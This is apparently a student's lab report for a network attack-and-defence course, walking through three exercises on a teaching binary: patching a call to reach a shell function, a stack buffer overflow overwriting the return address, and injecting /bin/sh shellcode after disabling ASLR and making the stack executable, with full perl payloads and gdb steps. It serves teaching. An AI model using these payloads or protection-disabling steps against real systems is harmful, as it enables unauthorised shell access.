2018-2019-2 20165312《网络攻防技术》Exp1 PC平台逆向破解

一、Exp1.1 直接修改程序机器指令,改变程序执行流程

知识要求:Call指令,EIP寄存器,指令跳转的偏移计算,补码,反汇编指令objdump,十六进制编辑工具

实验思路:pwn1_1中main()调用foo(),此实验旨在修改程序机器指令,使得main()调用getshell()。

实验步骤:

  • 反汇编:查看pwn1的代码机器指令和汇编语言objdump -d pwn1 | more



main()中call指令指向foo()的内存地址0x08048491,对应的机器指令为ffffffd7。现在想把call指令指向getshell()的内存地址0x0804847d,就要修改相应的机器指令。经过计算相应的机器指令为ffffffc3

  • 修改机器指令

    • vi pwn1_1显示为一堆乱码,因为vi只编辑有效的ASCII码
    • :%!xxd转化为十六进制显示
    • /d7快速搜索定位到需要修改的地方
    • :%!xxd -r修改成功后,返回到原来的ASCII处
    • :wq!保存修改退出
  • 验证是否修改成功:进行反汇编查看机器指令和汇编语言objdump -d pwn1_1 | more

./pwn1_1

二、Exp1.2通过构造输入参数,造成BOF攻击,改变程序执行流

知识要求:堆栈结构,返回地址

学习目标:理解攻击缓冲区的结果,掌握返回地址的获取

实验思路:

实验步骤

  • 确认返回地址:

    objdump -d pwn1_2 | more查看getshell()的内存地址

在执行完foo()后,eip指向main()中call指令的下一条指令,现在要修改为getshell()的内存地址,即由0x080484ba修改为0x0804847d

  • 反汇编:查看foo()的所占字节长
objdump -d pwn1_2 | more

分析可得,0x1c换算为十进制为28,28+4=32。

  • gdb调试:查看eip寄存器的值,验证foo()所占字节长
info r

eip寄存器的值为0x31313131,通过查询ASCII码转换表,发现其与1111相对应。此时可以验证foo()所占字节为32.

  • 构造输入字符串:

    由于无法键盘输入字符串\x7d\x84\x04\x08\,所以生成包含字符串的文件BOF.1perl -e 'print "12345678123456781234567812345678\x7d\x84\x04\x08\x0a"' >EOF.1。将BOF.1的输出作为pwn1_2的输入,并且执行pwn1_2(cat BOF.1;cat) | ./pwn1_2

三、Exp1.3注入Shellcode并执行

有关shellcode:为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe)的机器指令。在此实验中,使用许心远学姐博客提供的shellcode:\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\

实验思路:注入shellcode即返回地址为shellcode的起始地址(此时shellcode在返回地址后,也可以在前面)

实验步骤

  • 准备工作

    • 下载execstack程序:apt-get install execstack
    • 设置堆栈可执行: execstack -s pwn1_3
    • 查询文件的堆栈是否可执行:execstack -s pwn1_3
    • 查看地址随机化的状态:more /proc/sys/kernel/randomize_va_space
    • 关闭地址随机化:echo "0" > /proc/sys/kernel/randomize_va_space

  • 构造要注入的payload

    • 我们选择NSR溢出模式来攻击buf,nop的机器码90
    • 构造shellcode:perl -e 'print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input-shellcode
    • 注入:(cat input-shellcode;cat) | ./pwn1_3

    • 另外打开一个终端2,查看执行文件进程号:ps -ef | grep pwn1_3

    • 进入gdb调试,连接进程号attach 2721

    • 设置断点查看注入buf的内存地址:

      • 反汇编:disassemble foo

      • 设置断点:break *0x080484ae
      • 在终端1敲回车键后,在终端2continue
      • 查看esp栈顶指针的地址:info r esp

      • 显示内存的值:x/16x 0xffffd33c
      • 通过查阅资料,由于foo()中leave指令达到mov esp,ebppop ebp的作用,esp指针指向原ebp指针的位置。所以shellcode的地址为0xffffd340
      • 退出gdb调试
    • 回到终端1exit退出

    • 修改shellcode中的内容:perl -e 'print "A" x 32;print "\x40\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input-shellcode

    • 运行:(cat input-shellcode;cat) | ./pwn1_3

四、实验中遇到的问题及解决方案

1.运行pwn1_1时,遇到了没有那个文件或目录的问题

解决方案:

  • 切换到root用户,用文件编辑器source.list
leafpad /etc/apt/sources.list
  • 添加下列更新源
#阿里云kali源
deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb http://mirrors.aliyun.com/kali-security kali-rolling/updates main contrib non-free
deb-src http://mirrors.aliyun.com/kali-security kali-rolling/updates main contrib non-free #中科大kali源
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb http://mirrors.ustc.edu.cn/kali-security kali-current/updates main contrib non-free
deb-src http://mirrors.ustc.edu.cn/kali-security kali-current/updates main contrib non-free
  • 更新软件
apt-get clean
apt-get update
  • 安装32位运行库
apt-get install lib32z1

参考博客链接

2.在gdb调试pwn1_3时,无法连接到进程号。

在张羽昕同学的帮助下,发现是获取进程号的指令和gdb调试未在同一个终端下,改正后连接成功。

3.在做Exp1.3时,无法下载execstack

原因是可能之前在运行apt-get指令未执行完就退出了,只需要结束此进程就可以

sudo rm /var/cache/apt/archives/lock
sudo rm /var/lib/dpkg/lock

参考博客链接

五、报告小结

  • 实验收获与感想

通过三个小实验以及刘老师课上的讲解,对缓冲区溢出攻击有了更多的了解。听老师讲和自己做还是存在差别,实验中遇到的问题也通过同学的帮助或者百度解决。以后还要通过更多的实践操作巩固所学。

  • 什么是漏洞?漏洞有什么危害?

漏洞:在硬件、软件或协议在设计时存在的缺陷,攻击者能够在未授权的情况下进行非法操作。缓冲区溢出就是一个漏洞。危害:黑客入侵、病毒的驻留、数据丢失和篡改、隐私泄露甚至经济上的损失。

  • 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
  • NOP:空指令,什么也不做,可以理解为“滑档区”,一直跳到下一条指令 。
  • JNE:条件跳转指令,若不相等则跳转。
  • JE:条件跳转指令,若相等则跳转。
  • JMP:无条件转移指令,可转到内存中任何程序段。转移地址可在指令中给出,或在寄存器中给出,或在存储器中指出。
  • CMP:比较指令,相当于减法的功能,但是不保存结果,只是影响相应的标志位。
  • 掌握反汇编与十六进制编程器
  • 反汇编指令(参考博客链接)

    • objdump -d file反汇编需要执行指令的那些section
    • objdump -f file显示文件头信息
    • objdump -D file与-d类似,但反汇编中的所有section
    • objdump -h file显示Section Header信息
    • objdump -x file显示全部Header信息
    • objdump -s file将所有段的内容以十六进制的方式打印出来
  • 十六进制编辑器
    • vi进入编辑器,此时为二进制。若发现为乱码,猜测为十六进制显示
    • esc键之后输入:%!xxd转化为十六进制
    • 进入十六进制后,可以使用/搜索指定的内容
    • esc键之后输入:%!xxd -r转化为二进制,保存即可退出。

2018-2019-2 20165312《网络攻防技术》Exp1 PC平台逆向破解的更多相关文章

  1. 20155308《网络攻防》 Exp1 PC平台逆向破解(5)M

    20155308<网络攻防> Exp1 PC平台逆向破解(5)M 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是 ...

  2. 20155226 《网络攻防》 Exp1 PC平台逆向破解(5)M

    20155226 <网络攻防> Exp1 PC平台逆向破解(5)M 实践目标 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串 该程序同时包含另一个代 ...

  3. 20155321 《网络攻防》 Exp1 PC平台逆向破解(5)M

    20155321 <网络攻防> Exp1 PC平台逆向破解(5)M 实践目标 本次实践的对象是linux的可执行文件 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何 ...

  4. 20155330 《网络攻防》Exp1 PC平台逆向破解(5)M

    20155330 <网络攻防>Exp1 PC平台逆向破解(5)M 实践目标 运行pwn1可执行文件中的getshell函数,学习如何注入运行任何Shellcode 本次实践的对象是一个名为 ...

  5. 20155213 《网络攻防》 Exp1 PC平台逆向破解

    20155213 <网络攻防> Exp1 PC平台逆向破解(5)M 实践内容 通过对实践对象--pwn20155213的linux可执行文件的修改或输入,完成以下三块: 手工修改可执行文件 ...

  6. 20155220 吴思其 《网络攻防》 Exp1 PC平台逆向破解(5)M

    20155220 <网络攻防> Exp1 PC平台逆向破解(5)M 实践内容 通过对实践对象--20155220pwn1的linux可执行文件的修改或输入,完成以下三块: 手工修改可执行文 ...

  7. 20155306 白皎 《网络攻防》Exp1 PC平台逆向破解——逆向与Bof基础

    20155306 白皎 <网络攻防>Exp1 PC平台逆向破解--逆向与Bof基础 实践相关说明 1.1 实践目标 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数. ...

  8. 20155309南皓芯 网络对抗《网络攻防》 Exp1 PC平台逆向破解(5)M

    实践目标 本次实践的对象是linux的可执行文件 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串. 该程序同时包含另一个代码片段,getShell,会返回一个可 ...

  9. 20155323刘威良 网络对抗《网络攻防》 Exp1 PC平台逆向破解(5)M

    实践目标 本次实践的对象是linux的可执行文件 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串. 该程序同时包含另一个代码片段,getShell,会返回一个可 ...

  10. 20155324《网络对抗》Exp1 PC平台逆向破解(5)M

    20155324<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为~pwn1~的~linux~可执行文件. 该程序正常执行流程是:~main~调用~foo~ ...

随机推荐

  1. Android测试中常用的adb命令

    进入root权限adb root adb remount 重启手机 adb reboot 查看手机devices版本(adb是否连接手机) adb devices 点亮手机电源键/菜单键/home键 ...

  2. CentOS 7 下使用yum安装MySQL5.7.20 最简单图文详解

    CentOS7默认数据库是mariadb, 但是 好多用的都是mysql ,但是CentOS7的yum源中默认好像是没有mysql的. 上一篇安装的是5.6的但是我想安装5.7的  yum安装是最简单 ...

  3. Delphi7连接MySql数据库-DBGrid控件显示数据

    一个简单的Delphi7小程序,使用MySql数据库做简单查询,用DBGrid控件显示结果,实现过程如下: (1)在MySql中新建demouser表,插入记录用于测试. (2)在Delphi7中新建 ...

  4. MySQLdb模块(数据库)

    安装 pip install mysqlclient 连接数据库 db = MySQLdb.connect(host="IP",port=端口,user="账号" ...

  5. UGUI学习——Canvas基础组件

    UGUI的分辨率自适应的机制 UGUI中,Canvas(画布)可以看成电脑屏幕,其功能和属性都是一样的.游戏中的分辨率自适应主要包括两部分: 1. 缩放适应:是在不同尺寸的屏幕下,整体缩放比例的计算方 ...

  6. 自动删除Android工程中无用的资源

    开发时间久了, 几个版本迭代之后, 工程中难免留下很多垃圾资源, 造成apk的包很大, 这里介绍一个工具, 可以自动扫描工程中, 没有使用的资源, 然后自动删除: 包括图片, xml, 文本等. 采用 ...

  7. android获取Context

    如果在Activity方法中,直接使用this. 如果在Activity内部类中,使用Activity.this

  8. 【Effective Java读书笔记】创建和销毁对象(一):考虑使用静态工厂方法代替构造器

    类可以提供一个静态方法,返回类的一个静态实例,如Boolean包装类的一个获取实例的静态方法 public static Boolean valueOf(boolean b) { return (b ...

  9. UML第二次作业:类在类图中的表示

    类在类图中的表示 一.概览 1.plant UML语法学习小结 2.班级学生管理系统中的 —— “学生” 类的属性.方法 3.类图脚本程序 4.类图示例 二.类图语法学习小结 1.类之间的关系 通过某 ...

  10. python多进程拷贝数据

    from multiprocessing import Pool,Manager import os #完成拷贝文件 def copyFile(filename,oldname,newname,que ...